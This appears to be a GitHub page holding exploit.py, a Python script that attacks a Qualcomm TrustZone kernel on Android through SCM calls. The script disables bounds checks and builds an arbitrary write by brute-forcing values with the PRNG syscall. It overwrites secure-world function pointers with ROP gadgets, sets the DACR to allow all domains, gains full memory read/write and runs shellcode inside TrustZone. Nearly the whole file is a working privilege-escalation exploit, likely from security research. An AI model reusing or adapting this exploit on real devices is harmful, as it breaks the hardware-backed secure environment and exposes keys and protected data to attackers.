-
Notifications
You must be signed in to change notification settings - Fork 6
/
exploit.py
152 lines (130 loc) · 6.74 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import sys, os, struct
from adb import *
from scm import *
from zero_dword import *
from symbols import *
from consts import *
def disable_bounds_checks():
'''
Disables the checks performed by each of the bounds checking methods.
'''
zero_dword(BOUNDS_CHECK_DWORD_ADDRESS)
for addr in range(BOUNDS_CHECKS_RANGE_START, BOUNDS_CHECKS_RANGE_END+1, 4):
zero_dword(addr)
def write_random_value(address, length):
'''
Writes the given number of random bytes to the given physical address, using the tzbsp PRNG syscall
'''
if length >= MAX_RANDOM_LEN:
raise "Can only generate at most 0x%08X random bytes at a time" % MAX_RANDOM_LEN
execute_register_scm(SCM_SVC_PRNG, SCM_PRNG_GETDATA, (address, length))
def fver_get_version(version_code):
'''
Reads the firmware version DWORD for the given version code
'''
execute_register_scm(SCM_SVC_INFO, TZ_INFO_GET_FEATURE_VERSION_ID, (version_code, JUNK_PHYSICAL_ADDRESS, 4))
return dev_mem_read_memory(JUNK_PHYSICAL_ADDRESS, 4)
def write_dword_slow(address, dword):
'''
Writes the given DWORD to the given physical address, including TrustZone addresses
'''
#First of all, we need to start fuzzing the value using the PRNG call into the dump zone
#The dump zone used is the pointer returned from the fver_get_version call, with version code 0.
#Once we manage to fuzz the DWORD successfully, we can use the fver_get_version call to write that
#DWORD to arbitrary memory
#NOTE: For this method to work, the bounds checks must be disabled!
dword_bytes = struct.pack("<I", dword)
for i in range(0, 4):
wanted_byte = dword_bytes[i]
current_dword = fver_get_version(0)
print current_dword.encode("hex")
print "Wanted %02X at idx %d, current value: %08X" % (ord(wanted_byte), i, struct.unpack("<I", current_dword)[0])
while current_dword[i] != wanted_byte:
write_random_value(VERSION_CODE_0_DWORD_ADDRESS+i, 1)
current_dword = fver_get_version(0)
print "Wanted %02X at idx %d, current value: %02X" % (ord(wanted_byte), i, ord(current_dword[i]))
print "Got a byte!"
print "Prepared values! Writing to given address"
execute_register_scm(SCM_SVC_INFO, TZ_INFO_GET_FEATURE_VERSION_ID, (0, address, 4))
def write_dword_fast(address, dword):
'''
Writes the given DWORD to the given physical address, using the tzbsp_get_diag overriden function pointer
'''
try:
execute_register_scm(SCM_SVC_INFO, TZ_INFO_GET_DIAG, (dword, address))
except:
#Ignoring the failure of the SCM, since R0 will be garbeled and therefore
#this will look like a ioctl failure
pass
def write_range(data, address):
'''
Writes the given range of byte to the given address
'''
#Padding to a multiple of 4
if len(data) % 4 != 0:
data += (4 - (len(data) % 4)) * "\x00"
#Writing each DWORD
idx = 0
while idx + 4 <= len(data):
write_dword_fast(address + idx, struct.unpack("<I", data[idx:idx+4])[0])
idx += 4
def read_dword_fast(address):
'''
Reads the given DWORD from the given physical address, using the tzbsp_security_allows_memdump function pointer
'''
response_code = execute_register_scm(SCM_SVC_UTIL, TZ_UTIL_SEC_ALLOWS_MEMDUMP, (JUNK_PHYSICAL_ADDRESS, address))
return dev_mem_read_memory(JUNK_PHYSICAL_ADDRESS, 4)
def read_range(start_address, end_address):
'''
Reads the given physical memory range, using the read_dword_fast method
The memory returned is of the range [start_address, end_address)
'''
mem = ""
for address in range(start_address, end_address, 4):
mem += read_dword_fast(address)
return mem[:end_address-start_address]
def set_dacr(dacr_value):
'''
Sets the domain access control register to the given value in the TrustZone kernel.
'''
execute_register_scm(SCM_SVC_UTIL, TZ_UTIL_SEC_ALLOWS_MEMDUMP, (dacr_value, 0))
def main():
#Disabling bounds checks, if neccessary
print "[+] Disabling bounds checks"
disable_bounds_checks()
#Writing the address of the write gadget to the location of the write gadget
print "[+] Overwriting the tzbsp_get_diag pointer address with a write gadget"
write_dword_slow(TZBSP_GET_DIAG_POINTER_ADDRESS, STR_R0_R1_BX_LR)
#Restoring the bounds check DWORD
print "[+] Restoring bounds check DWORD"
write_dword_fast(BOUNDS_CHECK_DWORD_ADDRESS, 0x2)
print "[+] Restored! (It is now safe to turn on the screen)"
#Setting the DACR to enable all domain permissions
print "[+] Enabling all domain permissions"
write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, SET_DACR)
set_dacr(0xFFFFFFFF)
#Writing the read gadget using the write gadget
print "[+] Overwriting the tzbsp_security_allows_memdump pointer with a read gadget"
write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, LDR_R1_R1_STR_R1_R0_BX_LR)
print "[+] Gained full R/W to all memory (including TrustZone kernel code!)"
print "READING MODEM DWORD"
print read_dword_fast(0x7700000).encode("hex")
return
#Writing some code to a code cave
shellcode = open(SHELLCODE_PATH, 'rb').read()
if len(shellcode) > CODE_CAVE_SIZE:
print "[-] Not enough space to write shellcode to code cave (%d/%d)" % (len(shellcode), CODE_CAVE_SIZE)
return
print "[+] Writing shellcode to code cave (cave size: %d, shellcode size: %d)" % (CODE_CAVE_SIZE, len(shellcode))
write_range(shellcode, CODE_CAVE_ADDRESS)
print read_range(CODE_CAVE_ADDRESS, CODE_CAVE_ADDRESS+len(shellcode)).encode("hex")
#Overwriting a pointer to point to the newly written code
print "[+] Overwriting tzbsp_security_allows_memdump pointer with shellcode address"
print "Code address: %08X" % (CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB)
write_dword_fast(TZBSP_SECURITY_ALLOWS_MEMDUMP_POINTER_ADDRESS, CODE_CAVE_ADDRESS + IS_SHELLCODE_THUMB) #Adding one for thumb, if neccessary
print "[+] Executing shellcode"
execute_register_scm(SCM_SVC_UTIL, TZ_UTIL_SEC_ALLOWS_MEMDUMP, (0,0))
print "[+] Done!"
print dev_mem_read_memory(0xF000, 4).encode("hex")
if __name__ == "__main__":
main()